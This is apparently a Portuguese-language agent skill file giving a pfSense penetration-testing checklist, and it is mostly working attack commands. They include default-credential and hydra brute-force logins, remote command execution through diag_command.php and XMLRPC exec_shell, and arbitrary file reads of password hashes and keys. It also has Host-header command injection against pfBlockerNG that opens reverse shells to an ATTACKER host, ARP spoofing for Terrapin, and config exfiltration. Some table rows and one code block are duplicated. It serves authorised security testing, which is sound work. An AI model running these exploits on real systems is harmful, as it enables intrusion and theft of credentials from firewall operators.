| name | pentest-pfsense |
| description | Pentest especializado para pfSense CE e Plus — cobre todas as superfícies de ataque a partir da rede externa e interna, mapeado ao PTES e ao código-fonte real do pfSense |
| type | skill |
Pentest pfSense — Checklist Completo
Objetivo
Avaliar a segurança de instâncias pfSense em conformidade com requisitos legais/regulatórios brasileiros, cobrindo superfície de ataque da rede externa (WAN) e interna (LAN/DMZ), referenciando vulnerabilidades conhecidas e vetores identificados diretamente no código-fonte do pfSense.
🔗 Cross-Reference: Outras Skills e PoCs
cPanel & WHM (CVE-2026-41940)
Se durante o pentest você identificar cPanel & WHM no mesmo alvo ou em servidores adjacentes:
httpx -u https://TARGET:2087 -title -tech-detect
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET:2087 -u admin -p password detect
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET:2087 -u admin -p password exploit
PoC Location: /root/.pcode/pocs/cPanel/CVE-2026-41940/
Skills Relacionadas:
pentest-intelligence-gathering — cPanel detection via OSINT
pentest-vulnerability-analysis — CVE verification
pentest-exploitation — Exploitation (CVE-2026-41940)
Estrutura do Documento
| Fase | Perspectiva | Descrição |
|---|
| 0 | Ambas | Pre-engagement & Fingerprinting (Passive First) |
| 1 | Externa | Reconhecimento & Port Scan (Stealth) |
| 2 | Externa | Web GUI Attack Surface |
| 3 | Externa | Serviços de Rede Expostos (SSH, SNMP, OpenVPN, IPSec, WireGuard) |
| 4 | Externa | Exploração de CVEs Conhecidos |
| 5 | Interna | Reconhecimento Interno |
| 6 | Interna | Serviços Internos & HA/CARP |
| 7 | Interna | Captive Portal Bypass |
| 8 | Ambas | Pós-Exploração & Persistência |
| 9 | Ambas | Findings Templates |
| 10 | Ambas | Feature-Based Testing Checklist |
⚠️ Stealth Warning: pfSense é um firewall/security device — frequentemente a primeira linha de defesa. Scan agressivo provavelmente triggerará alerts. Priorize técnicas passivas e stealthy:
- Comece com Shodan e Censys para fingerprinting passivo
- Use scans lentos/low-rate para evitar detecção
- Evite full port scans a menos que explicitamente autorizado
- Considere timing attacks durante janelas de manutenção
- Documente todos os alerts triggered no relatório final
📋 Versão Alvo: Este checklist é projetado para pfSense 2.7.0+. Algumas features/vulnerabilidades podem não se aplicar a versões mais antigas.
Fase 0 — Pre-engagement & Fingerprinting
0.1 Passive Reconnaissance (FIRST — Before Any Active Scanning)
Firewalls log all connection attempts. Start with passive techniques to avoid detection.
shodan search "product:pfsense"
shodan search "http.title:pfSense"
shodan search "net:\"<TARGET_NET>\""
shodan host <TARGET_IP>
censys search "services.software.product=pfSense"
censys search "services.http.response.html_title:pfSense"
censys search "ip:<TARGET_IP>"
curl "https://shodan.io/search/report?query=pfsense"
0.2 Confirmar que é pfSense (Active)
curl -skI https://TARGET | grep -iE "server:|x-powered|pfsense"
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate|login_button"
echo | openssl s_client -connect TARGET:443 2>/dev/null | openssl x509 -noout -subject -issuer
nc -w3 TARGET 22 2>/dev/null | head -2
snmpget -v2c -c public TARGET 1.3.6.1.2.1.1.1.0
0.3 Detectar Versão
curl -sk https://TARGET/ | grep -iE "version|release|2\.[0-9]|24\.[0-9]|plus"
curl -sk https://TARGET/nonexistent.php | grep -iE "version|pfSense"
curl -sk https://TARGET/crash_reporter.php | grep -i version
nuclei -u https://TARGET -t technologies/pfsense.yaml -silent
nuclei -u https://TARGET -t technologies/ssl/ -silent
0.4 Portas Padrão pfSense
| Porta | Protocolo | Serviço | Perspectiva |
|---|
| 80 | TCP | Web GUI HTTP (redirect) | Externa/Interna |
| 443 | TCP | Web GUI HTTPS | Externa/Interna |
| 22 | TCP | SSH (opcional) | Ambas |
| 161 | UDP | SNMP (opcional) | Interna (padrão) |
| 162 | UDP | SNMP Trap | Interna |
| 500 | UDP | IKE/IPSec | Externa |
| 4500 | UDP | IPSec NAT-T | Externa |
| 1194 | UDP/TCP | OpenVPN (padrão) | Externa |
| 51820 | UDP | WireGuard (padrão) | Externa |
| 1701 | UDP | L2TP | Externa |
| 1723 | TCP | PPTP (legacy) | Externa |
| 514 | UDP | Syslog remoto | Interna |
Fase 1 — Reconhecimento & Port Scan (Perspectiva Externa)
1.1 Port Scan Completo (Stealth Mode)
Warning: Active scanning will be logged. Use rate limiting and consider timing.
nmap -sV -sC -p- --open -T2 -oA pfsense_full TARGET
nmap -sU -p 161,162,500,4500,1194,51820,1701 -sV TARGET
rustscan -a TARGET --ulimit 5000 -- -sV -sC -T2
nmap -p 443 --script ssl-cert,ssl-enum-ciphers,http-title,http-auth-finder TARGET
nmap -p 22 --script ssh-auth-methods,ssh2-enum-algos TARGET
nmap -p 161 -sU --script snmp-info,snmp-sysdescr,snmp-interfaces TARGET
1.2 Web Application Fingerprinting
httpx -u https://TARGET -title -tech-detect -status-code -method -websocket -tls-grab -json
whatweb -a 3 https://TARGET
feroxbuster -u https://TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php -k -t 30 --filter-status 404,302
for path in xmlrpc.php diag_command.php diag_backup.php crash_reporter.php \
diag_edit.php index.php system_advanced_admin.php; do
```bash
httpx -u https://TARGET -title -tech-detect -status-code -method -websocket -tls-grab -json
whatweb -a 3 https://TARGET
feroxbuster -u https://TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php -k -t 30 --filter-status 404,302
for path in xmlrpc.php diag_command.php diag_backup.php crash_reporter.php \
diag_edit.php index.php system_advanced_admin.php; do
echo -n "$path: "; curl -skI https://TARGET/$path | head -1
done
Fase 2 — Web GUI Attack Surface
2.1 Credenciais Padrão
Fonte código: globals.inc:62 — 'factory_shipped_password' => 'pfsense'
curl -sk -c cookies.txt -b cookies.txt \
-d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" \
https://TARGET/ -D - | grep -E "Location|Set-Cookie|error"
hydra -l admin -P /usr/share/wordlists/passwords/common.txt \
https-post-form://TARGET/":usernamefld=^USER^&passwordfld=^PASS^&login=Sign+In:Username or Password incorrect" \
-t 1 -T 1 -w 5 -V
2.2 Brute Force — Contornar Lockout
2.3 Autenticação via XMLRPC (HTTP Basic Auth)
Fonte código: xmlrpc.php:48-84 — autenticação via $_SERVER['PHP_AUTH_PW']
Apenas admin (uid=0) é permitido no XMLRPC.
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>host_firmware_version</methodName><params><param><value><nil/></value></param><param><value><int>30</int></value></param></params></methodCall>'
hydra -l admin -P senhas.txt TARGET https-get /xmlrpc.php
2.4 Execução Remota de Comandos (pós-auth)
Fonte código: diag_command.php:174 — exec($_POST['txtCommand'] . ' 2>&1', $output)
Fonte código: xmlrpc.php:138,156 — métodos exec_php e exec_shell
CSRF=$(curl -sk -c cookies.txt https://TARGET/ | grep csrf_magic | sed "s/.*name='csrf_magic' value='\(.*\)'.*/\1/")
curl -sk -b cookies.txt https://TARGET/diag_command.php \
-d "txtCommand=id&submit=EXEC&csrf_magic=${CSRF}" | grep -A5 "cmdoutput"
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>exec_shell</methodName><params><param><value><string>id; whoami; cat /etc/passwd</string></value></param></params></methodCall>'
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>exec_php</methodName><params><param><value><string>system("id");</string></value></param></params></methodCall>'
2.5-A CVE-2025-53392 — File Read Arbitrário via dlPath (CE 2.8.0)
Fonte código: diag_command.php:44-46
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
session_cache_limiter('public');
send_user_download('file', $_POST['dlPath']);
Nenhuma validação de caminho. php-fpm roda como root → qualquer arquivo legível.
Vetor crítico: requer apenas page-diagnostics-command — não precisa ser admin completo.
Netgate disputou o report ("comportamento esperado") — sem fix oficial.
Outras capacidades do mesmo arquivo (requerem o mesmo privilégio):
exec($_POST['txtCommand'] . ' 2>&1', $output);
move_uploaded_file($_FILES['ulfile']['tmp_name'],
g_get('tmp_path') . "/" . $_FILES['ulfile']['name']);
exec("/usr/local/bin/php ... {$tmpfile}", $output);
curl -sk -c /tmp/pf.jar -b /tmp/pf.jar \
-d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" \
https://TARGET/ -o /dev/null
CSRF=$(curl -sk -c /tmp/pf.jar -b /tmp/pf.jar https://TARGET/diag_command.php \
| grep -oP "csrf_magic.*?value=['\"]\\K[^'\"]+")
curl -sk -b /tmp/pf.jar \
-d "dlPath=/etc/hostname&submit=DOWNLOAD&csrf_magic=${CSRF}" \
https://TARGET/diag_command.php
for f in /etc/master.passwd /cf/conf/config.xml /etc/ssh/ssh_host_rsa_key \
/var/etc/openvpn/server1.key /var/etc/ipsec/swanctl.conf \
/var/etc/ipsec/ipsec.secrets /root/.ssh/authorized_keys; do
out=$(basename "$f")
http=$(curl -sk -b /tmp/pf.jar \
-d "dlPath=${f}&submit=DOWNLOAD&csrf_magic=${CSRF}" \
https://TARGET/diag_command.php -o "$out" -w "%{http_code}")
if ! grep -q "<!DOCTYPE\|<html" "$out" 2>/dev/null; then
echo "[+] $f → $out ($(wc -c < "$out") bytes)"
fi
CSRF=$(curl -sk -c /tmp/pf.jar -b /tmp/pf.jar https://TARGET/diag_command.php \
| grep -oP "csrf_magic.*?value=['\"]\\K[^'\"]+")
done
pip install requests
python3 pocs/PfSense/CVE-2025-53392/poc.py \
-t https://TARGET -u admin -p pfsense detect
python3 pocs/PfSense/CVE-2025-53392/poc.py \
-t https://TARGET -u admin -p pfsense read --path /etc/master.passwd
python3 pocs/PfSense/CVE-2025-53392/poc.py \
-t https://TARGET -u admin -p pfsense dump --out-dir ./exfil/
python3 pocs/PfSense/CVE-2025-53392/poc.py \
analyze --out-dir ./exfil/
python3 pocs/PfSense/CVE-2025-34173/poc.py \
-t https://TARGET -u admin -p pfsense enum \
| grep EXISTE | awk '{print $2}' > found.txt
python3 pocs/PfSense/CVE-2025-53392/poc.py \
-t https://TARGET -u admin -p pfsense chain --from-file found.txt
hashcat -m 3200 ./exfil/hashes_for_hashcat.txt /usr/share/wordlists/rockyou.txt
2.5-B Upload de Arquivo via diag_command.php
Fonte código: diag_command.php:47-49
move_uploaded_file($_FILES['ulfile']['tmp_name'], g_get('tmp_path') . "/" . $_FILES['ulfile']['name']);
Upload vai para /tmp/ com o nome original do arquivo. Não executa diretamente via web,
mas pode ser usado em conjunto com exec para executar o arquivo carregado.
curl -sk -b /tmp/pf.jar \
-F "ulfile=@/tmp/shell.sh;type=application/octet-stream" \
-F "submit=UPLOAD" \
-F "csrf_magic=${CSRF}" \
https://TARGET/diag_command.php
curl -sk -b /tmp/pf.jar \
-d "txtCommand=sh /tmp/shell.sh&submit=EXEC&csrf_magic=${CSRF}" \
https://TARGET/diag_command.php | grep -A20 "cmdoutput"
echo 'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"' > /tmp/shell.sh
2.5 Exfiltração de Configuração (pós-auth)
Fonte código: diag_backup.php — download do config.xml completo (contém hashes de senha, PSKs, certificados)
curl -sk -b cookies.txt https://TARGET/diag_backup.php \
-d "backuparea=&nopackages=&Submit=Download+configuration+as+XML" \
-o pfsense_config.xml
grep -E "bcrypt|password|sha256|md5" pfsense_config.xml
grep -E "pre-shared-key|ipsec.*secret|psk" pfsense_config.xml
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>backup_config_section</methodName><params><param><value><array><data><value><string>system</string></value></data></array></value></param></params></methodCall>'
2.6 CSRF — Páginas sem Proteção
Fonte código: $nocsrf = true em: services_captiveportal_vouchers.php, services_captiveportal.php, diag_packet_capture.php, services_captiveportal_hasync.php, ifstats.php
curl -sk https://TARGET/ | grep -i "csrf_magic"
nuclei -u https://TARGET -t vulnerabilities/generic/csrf.yaml -silent
2.7 XSS — Pontos de Injeção
nuclei -u https://TARGET -t vulnerabilities/generic/xss-reflected.yaml -silent
nuclei -u https://TARGET -tags pfsense -silent
2.8 SSL/TLS Assessment
testssl.sh --full https://TARGET
sslscan TARGET:443
nmap -p443 --script ssl-cert,ssl-enum-ciphers,ssl-dh-params TARGET
Fase 3 — Serviços de Rede Expostos (Perspectiva Externa)
3.1 SSH (Porta 22)
nmap -p22 --script ssh-auth-methods,ssh2-enum-algos TARGET
ssh -vvv admin@TARGET 2>&1 | grep -iE "kex|cipher|mac|host"
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://TARGET -t 4 -V
ssh -o "PasswordAuthentication=no" -o "BatchMode=yes" admin@TARGET id 2>&1
3.1-A CVE-2023-48795 — Terrapin Attack (SSH Prefix Truncation)
Afeta: pfSense CE <= 2.7.2 / Plus <= 23.09.1 (OpenSSH 9.4p1)
Corrigido em: CE 2.8.0 / Plus 24.03 (OpenSSH 9.6p1 com strict KEX)
CVSS: 5.9 Medium (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N) | EPSS: 99º percentil
Requer: posição MITM na rede (ARP poison, rogue AP, VLAN pivot)
Mecanismo: O contador de sequência SSH não é resetado ao iniciar o canal
criptografado. O MITM injeta SSH2_MSG_IGNORE durante o handshake não-cifrado,
deslocando o counter do servidor em +1. Isso permite deletar silenciosamente o
primeiro pacote criptografado (normalmente SSH2_MSG_EXT_INFO) sem detecção.
Resultado: fallback forçado para autenticação por senha → credencial interceptável.
Ciphers afetados: chacha20-poly1305@openssh.com (ataque determinístico, ~100%
de sucesso) e qualquer *-etm@openssh.com (ataque probabilístico, 1-2h).
aes*-gcm@openssh.com e modos não-ETM são imunes.
Detecção
ssh -o "ConnectTimeout=3" -o "BatchMode=yes" admin@TARGET 2>&1 | grep "OpenSSH"
python3 pocs/PfSense/CVE-2023-48795/poc.py scan TARGET
python3 pocs/PfSense/CVE-2023-48795/poc.py scan TARGET --verbose
python3 pocs/PfSense/CVE-2023-48795/poc.py scan TARGET --json
python3 pocs/PfSense/CVE-2023-48795/poc.py workaround-check TARGET
go install github.com/RUB-NDS/Terrapin-Scanner@latest
Terrapin-Scanner --connect TARGET:22 --json
pip install ssh-audit
ssh-audit TARGET
nmap -sV -p 22 --script ssh2-enum-algos TARGET
nmap -p 22 --open -oG - 192.168.0.0/24 | awk '/22\/open/{print $2}' > hosts_ssh.txt
python3 pocs/PfSense/CVE-2023-48795/poc.py bulk hosts_ssh.txt
Interpretação dos Resultados
[VULNERÁVEL] supports_chacha20=true, supports_strict_kex=false
→ pfSense CE <= 2.7.2, patch NÃO aplicado
[MITIGADO] supports_chacha20=false, supports_cbc_etm=false, supports_strict_kex=false
→ workaround de cipher aplicado (System Patches v2.2.9)
→ proteção parcial — upgrade para 9.6+ ainda recomendado
[SEGURO] supports_strict_kex=true
→ pfSense CE >= 2.8.0 / Plus >= 24.03 (OpenSSH 9.6p1+)
Cadeia de Exploração (requer posição MITM)
arpspoof -i eth0 -t ADMIN_IP PFSENSE_IP &
arpspoof -i eth0 -t PFSENSE_IP ADMIN_IP &
git clone https://github.com/RUB-NDS/Terrapin-Artifacts
cd Terrapin-Artifacts
./impl/build.sh
./pocs/build.sh
./pocs/test-ext-downgrade.sh
Remediação pfSense
echo 'Ciphers -chacha20-poly1305@openssh.com' >> /etc/ssh/sshd_config
echo 'MACs -*etm@openssh.com' >> /etc/ssh/sshd_config
/usr/local/bin/php-cgi -f /etc/rc.d/sshd restart
python3 pocs/PfSense/CVE-2023-48795/poc.py workaround-check TARGET
3.2 SNMP
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1 2>/dev/null | head -30
snmpwalk -v2c -c private TARGET 1.3.6.1.2.1 2>/dev/null | head -30
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.2.2.1.2
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.4.21
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt TARGET
nmap -sU -p161 --script snmp-brute TARGET
snmp-check -c public -v 2c TARGET
snmpwalk -v3 -l authPriv -u snmpuser -a SHA -A authpass -x AES -X privpass TARGET 1.3.6.1.2.1
3.3 OpenVPN
nmap -sU -p 1194 --script openvpn-info TARGET
nmap -sT -p 1194 --script openvpn-info TARGET
openssl s_client -connect TARGET:1194 -starttls openvpn 2>/dev/null
openvpn --remote TARGET 1194 --proto udp --dev tun --auth-user-pass credentials.txt
echo -e "admin\npfsense" > /tmp/vpn_creds.txt
hydra -l <user> -P /path/to/wordlist -t 1 -T 1 openvpn://TARGET
OpenVPN Enumeration & Exploitation Checklist
OpenVPN Post-Exploitation
grep -A 20 "openvpn" /cf/conf/config.xml
grep "auth-user-pass" /cf/conf/config.xml
grep -A 50 "<openvpn-server>" /cf/conf/config.xml | grep -E "(cert|key)"
3.4 IPSec
ike-scan TARGET
ike-scan --id=pfsense TARGET
ike-scan -A --id=0 TARGET
ike-scan -M --id=0 TARGET --trans=5,2,1,2
ike-scan --aggressive --id=pfsense TARGET
ike-scan --aggressive -M TARGET --id=0 | grep -i hash
psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt
3.5 WireGuard
nmap -sU -p51820 --script wireguard-info TARGET 2>/dev/null
Fase 4 — CVEs Conhecidos pfSense
4.1 Tabela de CVEs Críticos
| CVE | Versão Afetada | Tipo | CVSS | Notas |
|---|
| CVE-2024-57273 | CE < 2.8.0, Plus < 24.03 | DoS / Input Validation | 5.3 | OpenVPN kill_client sem validação → desconectar qualquer cliente; fix commit 92a55a0ad8 |
| CVE-2024-54779 | CE < 2.8.0, Plus < 24.03 | Stored XSS + XML Injection | 5.4 | filterlogentriesinterval sem validação → JS sink logsObject.freq; widgetkey → XML element name → corrupção de config.xml |
| CVE-2024-54780 | CE < 2.8.0, Plus < 24.03 | Input Validation Bypass | 4.3 | widgetkey sem validação em 15 widgets do Dashboard → acesso a dados de outros widgets; fix commits 04b74da157, 6b42147b1c |
| CVE-2023-48795 | CE <= 2.7.2, Plus <= 23.09.1 (OpenSSH 9.4p1) | SSH Protocol / MITM | 5.9 | Terrapin: prefix truncation via MSG_IGNORE → delete EXT_INFO → força password auth |
| CVE-2025-34178 | CE 2.8.0/2.8.1, Plus 25.07 / Suricata <= 7.0.8_3 | Stored XSS | 5.4 | policy_name sem htmlspecialchars() → | innerHTML + 9 hidden inputs (libhtp_policy) |
| CVE-2025-34177 | CE 2.8.0/2.8.1, Plus 25.07 / Suricata <= 7.0.8_3 | Stored XSS | 5.4 | policy_name sem htmlspecialchars() → | innerHTML + 5 hidden inputs (host_os_policy) |
| CVE-2025-34176 | CE 2.8.0/2.8.1, Plus 25.07 / Suricata <= 7.0.8_3 | File Existence Oracle | 4.3 | iplist sem basename() → file_exists() em path arbitrário (espelho Suricata do CVE-2025-34173) |
| CVE-2025-34175 | CE 2.8.0/2.8.1, Plus 25.07 / Suricata <= 7.0.8_3 | Reflected XSS | 6.1 | filehash refletido em 7 href sem urlencode() → injeção de atributo → roubo de sessão → RCE |
| CVE-2025-34174 | CE 2.8.0/2.8.1, Plus 25.07 / Status_Traffic_Totals <= 2.3.2_7 | Stored XSS | 5.4 | 6 parâmetros sem sanitização (//TODO clean inputs) → config.xml → XSS persistente para todos os usuários |
| CVE-2025-34173 | CE 2.8.0/2.8.1, Plus 25.07 / Snort <= 4.1.6_25 | File Existence Oracle | 4.3 | iplist sem basename() → file_exists() em path arbitrário → enumeração + chain com CVE-2025-53392 |
| CVE-2025-34172 | CE 2.8.0/2.8.1, Plus 25.07 / HAProxy <= 0.63_10 | XSS + Socket Injection | 6.1 | showsticktablecontent refletido + injetado no socket HAProxy |
| CVE-2025-12490 | CE 2.8.1 / Suricata 7.0.8_3 | Path Traversal → RCE (Autenticado) | 8.8 | sidlist_name sem basename() → file_put_contents no web root |
| CVE-2025-53392 | CE 2.8.0 | File Read (Autenticado) | 6.5 | dlPath sem sanitização → leitura arbitrária de arquivos |
| CVE-2023-42326 | CE < 2.7.0, Plus < 23.05.1 | Command Injection | 8.8 | interfaces_gif_edit.php, interfaces_gre_edit.php; EPSS 84.8%; Fix: d69d6c8424 |
| CVE-2023-42325 | CE < 2.7.0 | Reflected XSS | 6.1 | Múltiplos parâmetros; PoC criada |
| CVE-2023-42327 | CE < 2.7.0 | Stored XSS | 5.4 | Regras de firewall; PoC criada |
| CVE-2023-42328 | CE < 2.7.0 | Stored XSS | 6.1 | Múltiplos campos; PoC criada |
| CVE-2023-42329 | CE < 2.7.0 | Stored XSS (Widgets) | 5.4 | Dashboard widget config; PoC criada |
| CVE-2023-42330 | CE < 2.7.0 | Stored XSS (System) | 5.4 | System config pages; PoC criada |
| CVE-2023-42331 | CE < 2.7.0 | Stored XSS (NAT) | 5.4 | NAT configuration; PoC criada |
| CVE-2023-48123 | CE < 2.7.0, Plus < 23.05.1 | RCE | 8.8 | packet_capture.php command injection; EPSS 68.2% |
| CVE-2022-31814 | pfBlockerNG < 2.1.4_26 | RCE | 9.8 | Path traversal → RCE sem auth |
| CVE-2022-40624 | pfBlockerNG <= 2.1.4_27 | RCE (Host Header) | 9.8 | Injeção de comando via HTTP Host header → RCE como root sem auth; EPSS 84.7% |
| CVE-2022-29273 | CE < 2.6.0, Plus < 22.05 | Stored XSS | 6.1 | XSS via URL Table Alias (falta de htmlspecialchars); EPSS 38.0% |
| CVE-2022-29272 | CE < 2.6.0 | Command Injection | 7.5 | Diagnostic pages; PoC criada |
| CVE-2023-27253 | CE < 2.7.1 | Command Injection | 8.8 | RRD restore via config.xml → injeção de comando como root (auth); EPSS 77.7% |
| CVE-2023-27100 | CE 2.6.0, Plus 22.05.1 | SSHGuard Bypass | 9.8 | Bypass de proteção brute force via headers HTTP; PoC criada |
| CVE-2023-42326 | CE < 2.7.0, Plus < 23.05.1 | Command Injection | 8.8 | interfaces_gif_edit.php, interfaces_gre_edit.php; EPSS 84.8%; Fix: d69d6c8424 |
| CVE-2022-31814 | pfBlockerNG < 2.1.4_26 | RCE (Path Traversal) | 9.8 | Path traversal → escrita de webshell → RCE como root (sem auth) |
| CVE-2018-4019 | pfSense Plus | RCE | 9.8 | Parâmetro não sanitizado → injeção de comando como root |
| CVE-2016-10709 | CE < 2.3.0 | Command Injection | 9.8 | Páginas de diagnóstico (ping, traceroute, dns) → injeção de comando como root |
| CVE-2021-41282 | pfBlockerNG 2.1.x | RCE pós-auth | 8.8 | SQL injection → RCE; PoC criada |
| CVE-2021-41283 | pfBlockerNG 2.1.x | XSS | 5.4 | Stored XSS via DNS/IP BL; PoC criada |
| CVE-2021-27932 | CE < 2.5.1 | Auth Bypass | 7.5 | HTTP header injection; PoC criada |
| CVE-2021-27933 | CE < 2.5.1 | Command Injection | 7.5 | Diagnostic auth page; PoC criada |
| CVE-2020-11446 | CE < 2.4.5-p1 | CSRF | 8.8 | Múltiplas ações; PoC criada |
| CVE-2020-21487 | ACME pkg 0.6.3 | Stored XSS | 9.6 | RootFolder field em acme_certificates.php; PoC criada |
| CVE-2019-16701 | CE < 2.4.4-p1 | XSS | 6.1 | Reflected XSS; PoC criada |
| CVE-2018-4019 | pfSense Plus | RCE | 9.8 | Parâmetro não sanitizado; PoC criada |
| CVE-2017-1000479 | CE < 2.4.0 | CSRF → RCE | 8.8 | Sem proteção CSRF completa; PoC criada |
| CVE-2016-10709 | CE < 2.3.0 | Command Injection | 9.8 | Via diagnóstico; PoC criada |
4.2 CVE-2024-57273 — OpenVPN Kill Client sem Validação (CE < 2.8.0)
Arquivos afetados: status_openvpn.php, openvpn.widget.php, openvpn.inc
CVSS v3.1: 5.3 Medium (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L) | CWE: CWE-20
Fix: commit 92a55a0ad8 (Dez 2024) — Issue #15856
Análise do código vulnerável (pré-patch):
if ($_POST['action'] == "kill") {
$port = $_POST['port'];
$remipp = $_POST['remipp'];
$client_id = $_POST['client_id'];
if (!empty($port) and !empty($remipp)) {
$retval = openvpn_kill_client($port, $remipp, $client_id);
}
}
function openvpn_kill_client($port, $remipp, $client_id) {
$tcpsrv = "unix://{$g['openvpn_base']}/{$port}/sock";
$fp = @stream_socket_client($tcpsrv, $errval, $errstr, 1);
}
Correção (pós-patch):
if (!is_ipaddrwithport($remipp)) { $error = true; }
foreach ($servers as $server) {
if ($port == $server['mgmt']) { $found_server = true; }
}
$port = basename($port);
Impacto: Qualquer usuário autenticado pode desconectar qualquer cliente OpenVPN conectado, causando DoS persistente nos túneis VPN.
python3 pocs/PfSense/CVE-2024-57273/poc.py \
-t https://TARGET -u admin -p pfsense detect
python3 pocs/PfSense/CVE-2024-57273/poc.py \
-t https://TARGET -u admin -p pfsense list-servers
python3 pocs/PfSense/CVE-2024-57273/poc.py \
-t https://TARGET -u admin -p pfsense list-clients
python3 pocs/PfSense/CVE-2024-57273/poc.py \
-t https://TARGET -u admin -p pfsense kill \
--server-port 7500 --client-ip 10.0.0.50 --client-port 12345
python3 pocs/PfSense/CVE-2024-57273/poc.py \
-t https://TARGET -u admin -p pfsense kill-all
python3 pocs/PfSense/CVE-2024-57273/poc.py \
-t https://TARGET -u admin -p pfsense check-patch
4.4 CVE-2024-54780 — Dashboard Widget Key Validation Bypass (CE < 2.8.0)
Arquivos afetados: 15 widgets em widgets/widgets/*.widget.php, util.inc
CVSS v3.1: 4.3 Medium (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) | CWE: CWE-20
Análise do diff do patch:
- Pre-patch:
if ($_REQUEST['widgetkey']) { $widgetkey = $_REQUEST['widgetkey']; } — aceita qualquer valor
- Post-patch:
if (is_valid_widgetkey($rwidgetkey, $user_settings, __FILE__)) — valida contra dashboard config
Vulnerabilidade: Antes do fix, widgets aceitavam valores arbitrários de widgetkey sem validação.
Um atacante autenticado podia submeter widgetkeys maliciosas para:
- Acessar dados de instâncias de outros widgets
- Bypass de validação de configurações do widget
- Potencialmente explorar vulnerabilidades downstream no processamento do widget
Fix: commits 04b74da157 e 6b42147b1c (Dez 2024) — Issue #15844
- Adiciona função
is_valid_widgetkey() em util.inc
- Valida formato
<widget-name>-<instance-id>
- Verifica se widget existe no dashboard do usuário
- Verifica se instance ID é inteiro não-negativo
python3 pocs/PfSense/CVE-2024-54780/poc.py \
-u https://TARGET -U admin -P password detect
python3 pocs/PfSense/CVE-2024-54780/poc.py \
-u https://TARGET -U admin -P password list-widgets
python3 pocs/PfSense/CVE-2024-54780/poc.py \
-u https://TARGET -U admin -P password test-bypass
python3 pocs/PfSense/CVE-2024-54780/poc.py \
-u https://TARGET -U admin -P password test-bypass --widget gateways
python3 pocs/PfSense/CVE-2024-54780/poc.py \
-u https://TARGET -U admin -P password check-patch
Teste Manual com curl
curl -sk -c /tmp/pf.jar -b /tmp/pf.jar \
-d "usernamefld=admin&passwordfld=password&login=Sign+In" \
https://TARGET/ -o /dev/null
curl -sk -b /tmp/pf.jar \
"https://TARGET/widgets/widgets/openvpn.widget.php?widgetkey=invalid-999&ajax=true"
curl -sk -b /tmp/pf.jar \
"https://TARGET/widgets/widgets/openvpn.widget.php?widgetkey=../../../etc/passwd-0&ajax=true"
curl -sk -b /tmp/pf.jar \
"https://TARGET/widgets/widgets/openvpn.widget.php?widgetkey=<script>alert(1)</script>-0&ajax=true"
Impacto e Chain Attacks
4.6 CVE-2022-40624 — pfBlockerNG Host Header RCE (pfBlockerNG <= 2.1.4_27)
Pacote afetado: pfBlockerNG through 2.1.4_27
CVSS v3.1: 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) | CWE: CWE-77
EPSS: 84.7% (High probability of exploitation)
Mecanismo da Vulnerabilidade:
O pfBlockerNG usa o HTTP Host header em comandos shell sem sanitização adequada.
Um atacante remoto pode injetar comandos shell via Host header, executados como root.
Diferença do CVE-2022-31814: Esta é uma vulnerabilidade diferente do CVE-2022-31814
(também RCE no pfBlockerNG), mas com o mesmo impacto crítico.
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET check-package
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET detect
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET exploit --cmd "id"
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET exploit --cmd "uname -a"
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET \
exploit --reverse-shell --host ATTACKER_IP --port 4444
Exploração Manual com curl
time curl -k -s -o /dev/null \
-H "Host: 127.0.0.1; sleep 5; #" \
"https://TARGET/pfblockerng/index.php"
curl -k -s \
-H "Host: 127.0.0.1; id; #" \
"https://TARGET/pfblockerng/index.php"
curl -k -s \
-H "Host: 127.0.0.1; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'; #" \
"https://TARGET/pfblockerng/index.php"
curl -k -s \
-H "Host: 127.0.0.1; nc -e /bin/sh ATTACKER 4444; #" \
"https://TARGET/pfblockerng/index.php"
Cadeia de Exploração Típica
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET check-package
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET detect
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET exploit --cmd "cat /etc/master.passwd"
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET exploit --cmd "cat /etc/master.passwd | grep -v '^\*' | cut -d: -f1,2"
hashcat -m 400 pfsense_hashes /path/to/wordlist
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET \
exploit --reverse-shell --host ATTACKER_IP --port 4444
Mitigação e Verificação de Patch
pkg info | grep -i pfblocker
